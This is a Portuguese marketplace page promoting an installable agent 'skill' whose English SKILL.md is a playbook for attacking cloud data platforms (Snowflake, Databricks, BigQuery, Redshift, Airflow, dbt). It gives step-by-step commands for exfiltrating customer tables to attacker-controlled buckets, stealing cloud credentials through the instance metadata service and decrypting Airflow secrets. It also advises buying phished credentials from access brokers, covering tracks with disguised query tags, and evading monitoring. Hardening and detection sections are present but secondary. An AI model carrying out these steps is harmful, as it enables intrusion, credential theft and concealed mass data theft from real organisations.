Logo de Data Platform Attack

Data Platform Attack

Comunidade
brucesongs
data-platform-attack

Attacks against cloud data platforms and analytics pipelines — Snowflake, Databricks, BigQuery, Redshift, dbt, Apache Airflow, and lakehouse architectures. Covers identity-based breaches (no perimeter), warehouse SQL injection at scale, IAM privilege escalation, secrets in DAGs, notebook code injection, and cross-tenant data exfiltration. Distinct from database-attack (protocol-level RDBMS) and cloud-security (broader CSP control plane).

Visão geral

Publicado porbrucesongs
Repositóriokali-claw
Nome da habilidadedata-platform-attack
Estrelas
70
Forks
18
Arquivos incluídos
9
LicençaMIT
Links
  • Instruções em Markdown

    Um arquivo SKILL.md que o modelo carrega sob demanda, consumindo tokens apenas quando uma solicitação é realmente relevante para a habilidade.

  • Funciona com qualquer LLM

    As habilidades de IA são escritas em Markdown simples, não em código específico de um provedor. Por isso, funcionam com GPT, Claude, Gemini, Grok ou um modelo local.

  • Arquivos incluídos: 9

    Scripts, templates e referências que o modelo pode ler enquanto trabalha. Os arquivos são somente para leitura e nunca são executados.

  • Código aberto

    Publicada por brucesongs no GitHub. Leia os arquivos da habilidade antes de instalá-la.

Instalação

Instale a habilidade de IA Data Platform Attack no TypingMind para usá-la com qualquer LLM ou adicione-a a outro agente que leia SKILL.md.

1

Instalar no TypingMind

O TypingMind instala uma habilidade diretamente da pasta dela no GitHub — lê o arquivo SKILL.md, reúne os arquivos de recursos em um pacote e armazena o resultado localmente.

  1. Abra o app e vá para Plugins → Habilidades.
  2. Escolha "Instalar do GitHub".
  3. Cole a URL abaixo, que aponta para a pasta da habilidade, e confirme.
    https://github.com/brucesongs/kali-claw/tree/main/skills/data-platform-attack
  4. Ative a habilidade em cada chat em que quiser disponibilizá-la.
Plugins → Habilidades → Adicionar habilidade → Via URL do GitHub. Depois, cole a URL da pasta e pressione Continuar.
2

Instalar em outro agente

Qualquer agente que leia o formato Agent Skills pode usar esta habilidade — copie a pasta para o diretório de habilidades desse agente.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/data-platform-attack .claude/skills/data-platform-attack
Reinicie Claude Code após copiar para que a nova habilidade seja reconhecida.

Use no TypingMind

Ative Data Platform Attack em qualquer chat do TypingMind e o modelo cuida do resto. O nome e a descrição da habilidade ficam no prompt do sistema e, assim que uma solicitação relevante aparece, o modelo carrega as instruções completas automaticamente — sem precisar de acionamento manual e sem consumir tokens até que ela seja realmente usada.

O modelo carrega Data Platform Attack automaticamente assim que uma solicitação é relevante para essa habilidade.

Funciona com qualquer modelo de IA

Habilidades de IA são instruções em Markdown simples, não código específico de um provedor. Por isso, Data Platform Attack não fica vinculada ao modelo para o qual foi criada. Instale-a uma vez no TypingMind e use-a com GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama ou um modelo local executado por conta própria — tudo com suas próprias chaves de API.

  • Carregada apenas quando necessário

    O prompt do sistema contém apenas o nome e a descrição. As instruções são buscadas na primeira solicitação relevante, então uma habilidade sem uso não gera custo.

  • Troque de modelo durante a conversa

    Como a habilidade é composta de instruções, não de código, trocar de modelo não afeta seu funcionamento — o próximo modelo lê o mesmo arquivo SKILL.md.

Instruções da habilidade

Este é o conteúdo de SKILL.md que o modelo carrega. Leia antes de instalar — uma habilidade é um conjunto de instruções que seu modelo seguirá.

Data Platform Attack

Supplementary Files:

  • payloads.md — Attack payloads and commands organized by platform: Snowflake, Databricks, BigQuery, Redshift, dbt, Airflow, Spark, and lakehouse cross-platform attacks
  • test-cases.md — 18 structured test cases covering reconnaissance, identity abuse, SQL injection at warehouse scale, secrets harvesting, notebook injection, and exfiltration
  • guides/data-platform-attack-playbook.md — End-to-end playbook with engagement scoping, lab setup, reconnaissance methodology, identity abuse workflows, SQLi-at-scale patterns, exfiltration tactics, and blue-team detection engineering
  • guides/real-world-incident-case-studies.md — Eight case studies including the 2024 Snowflake/Lapsus$/Scattered Spider breach, Mandiant UNC5537, Databricks notebook abuse, Airflow DAG secret harvesting, and dbt CI token theft

Summary

This skill targets modern cloud data platforms — warehouses, lakehouses, orchestration layers, and transformation pipelines — where the boundary between analytics and production has collapsed. Attackers no longer tunnel through database listeners; they walk in through SSO, service tokens, and CI/CD pipelines.

Tools: snowsql, databricks-cli, gcloud (BigQuery), aws cli (Redshift/Athena), bq, psql (Redshift), dbt, airflow-cli, spark-sql, sqlmap, pacu, enumerate-iam, m365 dataset scrapers

Domain: data-platform

MITRE ATT&CK: TA0006 Credential Access · T1078 Valid Accounts · T1213 Data from Information Repositories · T1552 Unsecured Credentials

Description

Attacks against cloud data platforms and analytics pipelines — Snowflake, Databricks, BigQuery, Redshift, dbt, Apache Airflow, and lakehouse architectures. These platforms concentrate an organization's most valuable data behind identity boundaries rather than network boundaries, so the primary attack surface is identity abuse, misconfigured public endpoints, secrets embedded in pipelines, and SQL injection scaled across warehouses that contain every production table.

This skill is distinct from:

  • database-attack — which targets RDBMS at the protocol/listener level (Oracle TNS, MySQL socket, Redis/MongoDB unauth) behind a network perimeter
  • cloud-security — which targets CSP control planes (EC2/IAM/S3) broadly
  • container-security — which targets OCI/K8s

Where database-attack asks "can I reach the listener?", data-platform-attack asks "given that the warehouse is internet-reachable by design and uses SSO/SAML, how do I turn a phished engineer into 4TB of exfiltrated customer records?"

Coverage includes: Snowflake account enumeration (origins + ORGNAME-USERNAME), key-pair auth abuse, SCIM provisioning gaps, network policies as the only firewall, Databricks workspace takeover via account-console tokens and PATs, BigQuery IAM abuse and authorized datasets, Redshift IAM chaining, dbt CI/CD token theft, Airflow DAG secret harvesting, Spark/Livy code injection, notebook RCE via %sh/%scala, lakehouse delta-layer corruption, and cross-tenant exfiltration via shared shares/marketplace listings.

Use Cases

  • Snowflake account reconnaissance — enumerate account URLs (xy12345.snowflakecomputing.com), confirm account existence via SAML IdP redirect, identify org-name formats
  • Snowflake identity abuse — phished user → no MFA enforcement → direct login → data exfiltration via COPY INTO s3 or external stages (Mandiant UNC5537 / 2024-06 breach pattern)
  • Databricks workspace takeover — leaked PAT or account-console token → enumerate clusters, notebooks, and secrets scopes → pivot to AWS/GCP via instance profiles
  • Airflow DAG secrets harvesting — read-only access to metadata DB or DAG repo → extract AWS/Azure/GCP credentials from Connections, Variables, and task code
  • dbt CI token theft — compromising the CI runner → exfiltrate the DBT_CLOUD_API_TOKEN or SNOWFLAKE_PASSWORD from environment → impersonate service accounts
  • BigQuery authorized-dataset abuse — accept inherited grants from analyst_group → run bq query --use_legacy_sql=false across federated datasets
  • Redshift IAM chaining — redshift:GetClusterCredentials → redshift:ExecuteQuery → escalate to iam:chaining-for-db-root
  • Notebook code injection — supply malicious CSV/Parquet → Databricks autoloader ingests → %python cell hijacks cluster
  • Lakehouse delta corruption — tamper with _delta_log JSON via compromised service principal → silent data drift
  • Cross-tenant exfiltration — abuse Snowflake Secure Data Sharing / Databricks Marketplace listings to exfiltrate to attacker-controlled account

Differentiation from Adjacent Skills

SkillPrimary surfaceBoundary typeTypical entry
database-attackRDBMS listener (Oracle TNS, MySQL socket, Redis)Network perimeterBrute force on listener
cloud-securityCSP control plane (EC2, IAM, S3, Azure RM)Cloud IAMIAM enumeration
data-platform-attack (this)Warehouse / lakehouse / orchestratorIdentity perimeterPhishing, token leak, public endpoint
container-securityOCI, Kubernetes, containerdK8s RBAC, pod identityContainer escape
ai-agent-framework-attackLLM agent runtimeAgent prompt / tool surfaceIndirect prompt injection
supply-chain-securitySBOM, package registry, build pipelineCI/CD pipelineDependency confusion

Core Tools

Snowflake

  • snowsql — official CLI; use with SNOWFLAKE_ACCOUNT, --authenticator=externalbrowser for SSO
  • snowflake-connector-python — script recon and bulk queries
  • snowflake-labs GitHub repos — reference payloads (account enumeration, role mapping)

Databricks

  • databricks-cli — workspace, DBFS, secrets, clusters APIs
  • databricks-sql-cli — direct warehouse SQL via thrift
  • azure-databricks-tools — workspace enumeration for Azure deployments

BigQuery / GCP

  • bq — query, dataset, table enumeration
  • gcloud — IAM, service-account impersonation, bq get-iam-policy
  • enumerate-iam — brute-force gcloud permissions on a token

Redshift / AWS

  • aws cli — redshift-data, redshift-serverless, athena
  • psql — direct cluster connection after get-cluster-credentials
  • pacu — automates Redshift-to-IAM chaining

dbt / Airflow

  • dbt (CLI) — manifest exploration after token theft
  • airflow-cli — DAG, connection, variable enumeration
  • astronomer-cosmos — DAG parser to identify secrets in code

General

  • sqlmap — warehouse SQLi (slower; use --dbms=postgres for Snowflake/Redshift wire protocols)
  • pacu — AWS-side escalation from data platform pivot
  • scattered-spider-style OSINT — Snowflake account enumeration via GitHub dorks and public SSO portals

Methodology

Phase 1 — Reconnaissance (Account & Tenant Discovery)

  • Snowflake account URL enumeration via org patterns (acme-orgname.snowflakecomputing.com)
  • SAML IdP fingerprinting to confirm account existence
  • GitHub dorks: "snowflake_account", "snowflakecomputing.com", dbt_profiles.yml blobs
  • Databricks workspace URL patterns (adb-<digits>.<azuredatabricks.net | aws>.net)
  • BigQuery dataset shadows (publicdata.googleapis.com, bigquery-public-data)
  • Airflow webserver fingerprinting via /login/ and DagBag banner
  • dbt Cloud job logs leaked in CI artifacts

Phase 2 — Identity & Authentication Abuse

  • Snowflake: phished user via SSO → no network policy → direct login → role enumeration (use role accountadmin)
  • Snowflake: SCIM provisioning mismatch → AAD_TO_SNOWFLAKE_ROLE_MAPPING allows lateral to accountadmin
  • Snowflake: key-pair auth abuse from leaked private key in CI logs
  • Databricks: PAT leak in Notebook export, MLflow artifact URL, or cluster log
  • Databricks: account-console token (admin only) → workspace admin bypass
  • BigQuery: service-account key leak → bq query --impersonate-service-account=
  • Airflow: Connection passwords in metadata DB (fernet_key extraction if weak/leaked)
  • dbt: DBT_CLOUD_API_TOKEN in CI env → enumerate jobs → fetch dbt_cloud_service_token_

Phase 3 — Warehouse SQL Injection at Scale

  • Find BI dashboards / embedded analytics endpoints that fan into Snowflake/BigQuery
  • Inject via filter parameters, date selectors, dimension values
  • UNION SELECT across SNOWFLAKE.ACCOUNT_USAGE for global recon
  • BigQuery: information_schema enumeration via EXCEPT interleaving
  • Pivot to COPY INTO @external_stage (Snowflake) or EXPORT DATA OPTIONS(uri='gs://...') (BigQuery) for exfil

Phase 4 — Pipeline & DAG Exploitation

  • Airflow Connections metadata DB exposure → harvest AWS keys, Slack webhooks, Snowflake passwords
  • Airflow Variables leak → CI/CD tokens, Jira API keys
  • dbt profiles.yml in CI artifact → Snowflake/BigQuery/Redshift password
  • dbt model code → identify tables with secrets (SELECT * FROM dbt_audit.users)
  • Spark/Livy code injection via %sh or %scala in shared notebooks
  • Databricks notebook %python cell → AWS IMDS → instance-profile theft

Phase 5 — Notebook & Compute RCE

  • Databricks: upload malicious .whl to cluster init script → cluster-wide RCE
  • Databricks: %scala cell → dbutils.notebook.exit chain → secret-scope read
  • Synapse: Spark pool → IMDS → subscription-wide lateral
  • BigQuery remote functions → ARN of attacker Lambda → arbitrary execution
  • Airflow KubernetesExecutor → pod spec tampering → cluster node takeover

Phase 6 — Lakehouse & Delta Layer Attacks

  • Delta Lake _delta_log JSON tampering via compromised service principal
  • Iceberg metadata manipulation (METADATA_LOG replay attack)
  • Hudi timeline corruption → silent data drift
  • Lakehouse federation: abuse cross-engine views to read external catalog tables

Phase 7 — Cross-Tenant & Exfiltration

  • Snowflake Secure Data Sharing: lister account → exfil via shared-to-attacker database
  • Databricks Marketplace: publish a dataset with embedded webhook on READ_API
  • BigQuery Authorized Views: chain from dataset:public_view → dataset:private_table
  • Exfil via COPY INTO @s3_external_stage, EXPORT DATA OPTIONS, UNLOAD, bq extract
  • Exfil rate-bypass via partition-pruned queries over many small result sets
  • Anti-detection: ALTER SESSION SET QUERY_TAG='daily-refresh' to blend with jobs

Defense Perspective

Core Principles

  1. Identity is the new perimeter — assume the warehouse is internet-reachable; enforce MFA, SCIM role mapping, and conditional access
  2. Network policies, not firewalls — Snowflake network policy = allowlist + blocklist of CIDRs; apply per-user, per-role
  3. Tri-partition of duties — separate producer, consumer, and auditor roles; never let a producer grant itself accountadmin
  4. Secrets never in DAGs — use Airflow Connections backed by AWS Secrets Manager / HashiCorp Vault; never Variable.set("AWS_KEY", ...)
  5. Detect by behavior, not by signature — large COPY INTO, unfamiliar QUERY_TAG, new geography, unusual role escalation are the high-signal events

Detection Engineering

  • Snowflake: SNOWFLAKE.ACCOUNT_USAGE.ACCESS_HISTORY for direct object access tracing
  • Snowflake: alerts on SESSION_CLIENT_TYPE changes, new AUTHENTICATION_METHOD
  • BigQuery: Cloud Audit Logs bigquery.googleapis.com/DataRead with jobInsert filtering
  • Airflow: DAG spec diffs in CI, alert on Variable.set in scheduler logs
  • Databricks: cluster-log forward to Splunk; alert on %sh cells touching IMDS
  • Universal: alert on COPY INTO @external_stage where stage owner ≠ workload identity

Hardening Checklist

  • Enforce MFA (preferably phishing-resistant: WebAuthn, YubiKey) on all data platform users
  • Apply network policies to every Snowflake account; deny non-corporate CIDRs
  • Use SCIM with explicit deny-mapping; never auto-grant accountadmin
  • Databricks: rotate PATs quarterly; prefer OAuth over PAT
  • Airflow: back Connections with secret manager; rotate FERNET_KEY
  • dbt: use short-lived tokens in CI; rotate DBT_CLOUD_API_TOKEN on personnel change
  • BigQuery: enforce authorizedViews + authorizedDatasets + condition bindings
  • Lakehouse: write-audit-log on _delta_log for every committed version
  • Enable cloud platform's UEBA / GuardDuty / Microsoft Defender for Data

Practical Steps

Snowflake — UNC5537 Style Entry

  1. Confirm target account: curl -I https://acme.snowflakecomputing.com → 302 to Okta/Azure
  2. Purchase phished credentials on access broker marketplaces or use leaked cookie session
  3. If no MFA enforced: snowsql -a acme -u phished_user --authenticator=externalbrowser
  4. Enumerate: SHOW ROLES;, SHOW GRANTS;, USE ROLE ACCOUNTADMIN; (if SCIM mis-mapped)
  5. Pivot to exfil: COPY INTO @my_external_stage FROM customers;
  6. Cover tracks: ALTER SESSION SET QUERY_TAG='nightly_ingest';

Databricks — PAT to AWS

  1. Obtain leaked PAT from CI logs or notebook export
  2. databricks clusters list → identify cluster with instance profile ARN
  3. databricks secrets list-scopes → enumerate and dump via ACL flaws
  4. Run %python cell: requests.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/...')
  5. Use stolen instance profile creds via aws s3 ls against the customer bucket

Airflow — Connection Harvest

  1. Obtain read access to Airflow metadata DB (often backed by RDS)
  2. SELECT conn_id, conn_type, password FROM connection; (encrypted with FERNET_KEY from env)
  3. Pull FERNET_KEY from AIRFLOW__CORE__FERNET_KEY env or config file
  4. Decrypt all connections offline
  5. Pivot: use Snowflake connection creds to authenticate via snowsql

BigQuery — Authorized Dataset Abuse

  1. Service-account key leak → gcloud auth activate-service-account --key-file=sa.json
  2. bq ls --projects=customer-prod → enumerate datasets
  3. bq show --format=prettyjson dataset.table → schema recon
  4. bq query --use_legacy_sql=false 'SELECT * FROM \customer-prod.pii.users` LIMIT 1000'`
  5. Exfil: bq extract --destination_format=CSV 'customer-prod.pii.users' gs://attacker-bucket/users.csv

Redshift — IAM Chaining

  1. Compromise a low-priv role with redshift:GetClusterCredentials
  2. Connect via psql: psql -h cluster.x.redshift.amazonaws.com -u db_user
  3. Read stv_session_activity for lateral recon
  4. Identify tables with secrets (pg_catalog.pg_shadow)
  5. Pivot: enumerate AWS permissions of the cluster's IAM role via redshift-data:ExecuteStatement

Detection Methods

Data Platform Audit Logs

  • Snowflake / Databricks / BigQuery: LOGIN_HISTORY, QUERY_HISTORY, COPY_HISTORY; alert on anomalous SELECT patterns.
  • Apache Hive / Iceberg / Delta Lake: Query logs; alert on cross-database enumeration.
  • Presto / Trino: Query audit table; alert on SELECT * without WHERE from external users.

SIEM Detection Rules

  • Splunk SPL: index=snowflake sourcetype=snowflake:query | where bytes_scanned > 1000000000
  • Native platform: Snowflake Account Usage views; BigQuery Information Schema; alert on mass export.
  • Immuta / Privacera: Data access governance with anomaly detection.

Defense Evasion Techniques

Query Stealth

  • Below scan threshold: Keep bytes_scanned below platform monitoring threshold.
  • Distribute across queries: Split large query into many small; aggregate results.
  • Off-hours queries: Run during low-activity windows; blends with maintenance.
  • Use of cached results: Trigger cache via legitimate-looking queries; then read cache.

Privilege Abuse Stealth

  • Use legitimate roles: Don't create new role; abuse existing over-privileged role.
  • Service account tokens: Use long-lived tokens rather than user auth; no login events.
  • Cross-platform access: Pivot from data lake (S3) to data warehouse (Snowflake) via legitimate ingestion pipeline.

Cross-References

  • skills/database-attack/SKILL.md — protocol-level RDBMS attacks (Oracle TNS, MySQL socket)
  • skills/cloud-security/SKILL.md — broader CSP control plane attacks
  • skills/ai-agent-framework-attack/SKILL.md — when LLM agents become the data platform consumer
  • skills/secret-discovery/SKILL.md — secrets discovery techniques applicable to DAGs and notebooks
  • skills/persistence-attacks/SKILL.md — Snowflake persistent query-tag evasion
  • skills/pentest-reporting/SKILL.md — reporting templates for data-breach simulations

References

  • Mandiant — Cloud Threat Report: UNC5537 Snowflake Campaign (2024-06)
  • Snowflake Security Trust Center — Information on Threat Campaign (2024-06)
  • Databricks — Security Best Practices for Workspace Administration (2024)
  • Google Cloud — BigQuery Authorized Datasets and Views (2024)
  • MITRE ATT&CK — T1213 Data from Information Repositories, T1078.004 Cloud Accounts, T1552.007 Container and Cloud Instance Credentials API
  • dbt Labs — Security Best Practices for CI/CD Token Management (2024)
  • Apache Airflow Security Guide — Connections, Secrets Backends, FERNET_KEY (2024)

Arquivos incluídos

O modelo lê esses arquivos sob demanda enquanto a habilidade está carregada. Eles são disponibilizados para leitura e nunca são executados.

Perguntas frequentes

O que a habilidade de IA Data Platform Attack faz?

Attacks against cloud data platforms and analytics pipelines — Snowflake, Databricks, BigQuery, Redshift, dbt, Apache Airflow, and lakehouse architectures. Covers identity-based breaches (no perimeter), warehouse SQL injection at scale, IAM privilege escalation, secrets in DAGs, notebook code injection, and cross-tenant data exfiltration. Distinct from database-attack (protocol-level RDBMS) and cloud-security (broader CSP control plane).

Por que usar Data Platform Attack no TypingMind?

Porque basta instalar uma vez para usar com qualquer modelo. A habilidade Data Platform Attack é escrita em Markdown simples, e não em código específico de um provedor, então a mesma habilidade funciona com GPT-5, Claude, Gemini, Grok ou um modelo local — e é possível trocar de modelo no meio do chat sem que ela deixe de funcionar. No TypingMind, você usa suas próprias chaves de API e paga diretamente aos provedores, em vez de pagar uma assinatura por licença de usuário. Suas habilidades e chats permanecem no seu próprio armazenamento.

Como instalar Data Platform Attack no TypingMind?

Abra Plugins → Habilidades → Instalar do GitHub no TypingMind e cole https://github.com/brucesongs/kali-claw/tree/main/skills/data-platform-attack. O TypingMind lê o arquivo SKILL.md, reúne os arquivos da habilidade e a instala para que possa ser ativada em cada chat.

Quais modelos de IA podem usar Data Platform Attack?

Qualquer modelo conectado no TypingMind. As habilidades de IA são instruções em Markdown simples, e não código específico de um provedor. Assim, GPT, Claude, Gemini, Grok e modelos locais podem carregar esta habilidade quando uma solicitação corresponder a ela.

Quantos modelos de IA posso usar com Data Platform Attack?

Quantos quiser. Desde que o modelo ofereça suporte a habilidades, é possível usar Data Platform Attack com ele — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama e outros — tudo no TypingMind com suas próprias chaves de API.

A habilidade de IA Data Platform Attack é gratuita?

Sim. A habilidade é publicada no GitHub por brucesongs sob a licença MIT. O pagamento é feito apenas ao seu provedor de IA pelos tokens usados.

O que são habilidades de IA?

Uma habilidade de IA é um conjunto reutilizável de instruções que ensina um modelo de IA a realizar uma tarefa específica. Ela segue o formato aberto Agent Skills: um arquivo SKILL.md com nome e descrição, além de scripts, templates ou arquivos de referência de que o modelo possa precisar. O modelo lê as instruções apenas quando sua solicitação corresponde à habilidade, então uma habilidade instalada não gera custos até ser usada.

Qual é a diferença entre habilidades de IA e plugins ou servidores MCP?

Um plugin ou servidor MCP oferece ao modelo novas ferramentas que ele pode acionar — código que é executado em algum lugar e retorna um resultado. Já uma habilidade de IA dá ao modelo o conhecimento e as orientações de que ele precisa: como abordar uma tarefa, quais etapas seguir e como deve ser um bom resultado. As habilidades são escritas em Markdown simples, por isso não precisam de servidor, chave de API nem ambiente de execução, e funcionam com qualquer modelo.

Ver lista completa

Crie seu próprio espaço de trabalho com IA agora

Inscreva-se na nossa newsletter para receber avisos sobre novos recursos e futuros sorteios 👇